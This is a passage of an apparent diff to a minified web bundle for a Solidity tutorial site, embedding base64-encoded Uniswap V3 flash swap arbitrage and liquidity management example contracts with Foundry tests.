xZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],yw=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    +`,dw=({prev:s,next:a})=>r.jsx(A,{version:ow,title:rw,description:iw,cyfrinLink:gw,html:Iw,prev:s,next:a,codes:hw}),Cw="0.8.26",jw="Uniswap V3 Flash Swap Arbitrage",Aw="Uniswap V3 Flash Swap Arbitrage",uw="",yw=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVR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aW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0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YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],mw=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6655,7 +6655,7 @@ IERC20 constant PAIR Foundry

                    Uniswap V3 Foundry example

                    -`,mw=({prev:s,next:a})=>r.jsx(A,{version:dw,title:Cw,description:jw,cyfrinLink:Aw,html:yw,prev:s,next:a,codes:uw}),bw="0.8.26",ww="Uniswap V3 Liquidity Examples",kw="Uniswap V3 liquidity examples",Zw="",Ww=[{fileName:"UniswapV3Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4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AoTUFYX1RJQ0sgLyBUSUNLX1NQQUNJTkcpICogVElDS19TUEFDSU5HLAogICAgICAgICAgICBhbW91bnQwRGVzaXJlZDogYW1vdW50MFRvQWRkLAogICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICBhbW91bnQwTWluOiAwLAogICAgICAgICAgICBhbW91bnQxTWluOiAwLAogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAKICAgICAgICB9KTsKCiAgICAgICAgKHRva2VuSWQsIGxpcXVpZGl0eSwgYW1vdW50MCwgYW1vdW50MSkgPQogICAgICAgICAgICBub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5taW50KHBhcmFtcyk7CgogICAgICAgIGlmIChhbW91bnQwIDwgYW1vdW50MFRvQWRkKSB7CiAgICAgICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCAwKTsKICAgICAgICAgICAgdWludDI1NiByZWZ1bmQwID0gYW1vdW50MFRvQWRkIC0gYW1vdW50MDsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDApOwogICAgICAgIH0KICAgICAgICBpZiAoYW1vdW50MSA8IGFtb3VudDFUb0FkZCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIDApOwogICAgICAgICAgICB1aW50MjU2IHJlZnVuZDEgPSBhbW91bnQxVG9BZGQgLSBhbW91bnQxOwogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDEpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjb2xsZWN0QWxsRmVlcyh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0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UGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgbGlxdWlkaXR5OiBsaXF1aWRpdHksCiAgICAgICAgICAgIGFtb3VudDBNaW46IDAsCiAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAKICAgICAgICB9KTsKCiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgbm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuZGVjcmVhc2VMaXF1aWRpdHkocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciB7CiAgICBzdHJ1Y3QgTWludFBhcmFtcyB7CiAgICAgICAgYWRkcmVzcyB0b2tlbjA7CiAgICAgICAgYWRkcmVzcyB0b2tlbjE7CiAgICAgICAgdWludDI0IGZlZTsKICAgICAgICBpbnQyNCB0aWNrTG93ZXI7CiAgICAgICAgaW50MjQgdGlja1VwcGVyOwogICAgICAgIHVpbnQyNTYgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludDI1NiBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50MjU2IGFtb3VudDBNaW47CiAgICAgICAgdWludDI1NiBhbW91bnQxTWluOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChNaW50UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eSwKICAgICAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDEKICAgICAgICApOwoKICAgIHN0cnVjdCBJbmNyZWFzZUxpcXVpZGl0eVBhcmFtcyB7CiAgICAgICAgdWludDI1NiB0b2tlbklkOwogICAgICAgIHVpbnQyNTYgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludDI1NiBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50MjU2IGFtb3VudDBNaW47CiAgICAgICAgdWludDI1NiBhbW91bnQxTWluOwogICAgICAgIHVpbnQyNTYgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jcmVhc2VMaXF1aWRpdHkoSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQxMjggbGlxdWlkaXR5LCB1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSk7CgogICAgc3RydWN0IERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIHsKICAgICAgICB1aW50MjU2IHRva2VuSWQ7CiAgICAgICAgdWludDEyOCBsaXF1aWRpdHk7CiAgICAgICAgdWludDI1NiBhbW91bnQwTWluOwogICAgICAgIHVpbnQyNTYgYW1vdW50MU1pbjsKICAgICAgICB1aW50MjU2IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5KERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSk7CgogICAgc3RydWN0IENvbGxlY3RQYXJhbXMgewogICAgICAgIHVpbnQyNTYgdG9rZW5JZDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MTI4IGFtb3VudDBNYXg7CiAgICAgICAgdWludDEyOCBhbW91bnQxTWF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xpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],Bw=`

                    Examples of minting new position, collect fees, increase and decrease liquidity.

                    +`,bw=({prev:s,next:a})=>r.jsx(A,{version:Cw,title:jw,description:Aw,cyfrinLink:uw,html:mw,prev:s,next:a,codes:yw}),ww="0.8.26",kw="Uniswap V3 Liquidity Examples",Zw="Uniswap V3 liquidity examples",Ww="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5IHBhcmFtcyA9CiAgICAgICAgSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLk1pbnRQYXJhbXMoewogICAgICAgICAgICB0b2tlbjA6IERBSSwKICAgICAgICAgICAgdG9rZW4xOiBXRVRILAogICAgICAgICAgICBmZWU6IDMwMDAsCiAgICAgICAgICAgIHRpY2tMb3dlcjogKE1JTl9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgdGlja1VwcGVyOiAoTUFYX1RJQ0sgLyBUSUNLX1NQQUNJTkcpICogVElDS19TUEFDSU5HLAogICAgICAgICAgICBhbW91bnQwRGVzaXJlZDogYW1vdW50MFRvQWRkLAogICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICBhbW91bnQwTWluOiAwLAogICAgICAgICAgICBhbW91bnQxTWluOiAwLAogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAKICAgICAgICB9KTsKCiAgICAgICAgKHRva2VuSWQsIGxpcXVpZGl0eSwgYW1vdW50MCwgYW1vdW50MSkgPQogICAgICAgICAgICBub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5taW50KHBhcmFtcyk7CgogICAgICAgIGlmIChhbW91bnQwIDwgYW1vdW50MFRvQWRkKSB7CiAgICAgICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCAwKTsKICAgICAgICAgICAgdWludDI1NiByZWZ1bmQwID0gYW1vdW50MFRvQWRkIC0gYW1vdW50MDsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDApOwogICAgICAgIH0KICAgICAgICBpZiAoYW1vdW50MSA8IGFtb3VudDFUb0FkZCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIDApOwogICAgICAgICAgICB1aW50MjU2IHJlZnVuZDEgPSBhbW91bnQxVG9BZGQgLSBhbW91bnQxOwogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDEpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjb2xsZWN0QWxsRmVlcyh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkKICAgIHsKICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuQ29sbGVjdFBhcmFtcyBtZW1vcnkgcGFyYW1zID0KICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuQ29sbGVjdFBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSWQ6IHRva2VuSWQsCiAgICAgICAgICAgIHJlY2lwaWVudDogYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYW1vdW50ME1heDogdHlwZSh1aW50MTI4KS5tYXgsCiAgICAgICAgICAgIGFtb3VudDFNYXg6IHR5cGUodWludDEyOCkubWF4CiAgICAgICAgfSk7CgogICAgICAgIChhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLmNvbGxlY3QocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxpcXVpZGl0eUN1cnJlbnRSYW5nZSgKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgdWludDI1NiBhbW91bnQwVG9BZGQsCiAgICAgICAgdWludDI1NiBhbW91bnQxVG9BZGQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDEyOCBsaXF1aWRpdHksIHVpbnQyNTYgYW1vdW50MCwgdWludDI1NiBhbW91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aWRpdHkpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkKICAgIHsKICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuRGVjcmVhc2VMaXF1aWRpdHlQYXJhbXMgbWVtb3J5IHBhcmFtcyA9CiAgICAgICAgSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkRlY3JlYXNlTGlxdWlkaXR5UGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgbGlxdWlkaXR5OiBsaXF1aWRpdHksCiAgICAgICAgICAgIGFtb3VudDBNaW46IDAsCiAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAKICAgICAgICB9KTsKCiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgbm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuZGVjcmVhc2VMaXF1aWRpdHkocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciB7CiAgICBzdHJ1Y3QgTWludFBhcmFtcyB7CiAgICAgICAgYWRkcmVzcyB0b2tlbjA7CiAgICAgICAgYWRkcmVzcyB0b2tlbjE7CiAgICAgICAgdWludDI0IGZlZTsKICAgICAgICBpbnQyNCB0aWNrTG93ZXI7CiAgICAgICAgaW50MjQgdGlja1VwcGVyOwogICAgICAgIHVpbnQyNTYgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludDI1NiBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50MjU2IGFtb3VudDBNaW47CiAgICAgICAgdWludDI1NiBhbW91bnQxTWluOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChNaW50UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eSwKICAgICAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDEKICAgICAgICApOwoKICAgIHN0cnVjdCBJbmNyZWFzZUxpcXVpZGl0eVBhcmFtcyB7CiAgICAgICAgdWludDI1NiB0b2tlbklkOwogICAgICAgIHVpbnQyNTYgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludDI1NiBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50MjU2IGFtb3VudDBNaW47CiAgICAgICAgdWludDI1NiBhbW91bnQxTWluOwogICAgICAgIHVpbnQyNTYgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jcmVhc2VMaXF1aWRpdHkoSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQxMjggbGlxdWlkaXR5LCB1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSk7CgogICAgc3RydWN0IERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIHsKICAgICAgICB1aW50MjU2IHRva2VuSWQ7CiAgICAgICAgdWludDEyOCBsaXF1aWRpdHk7C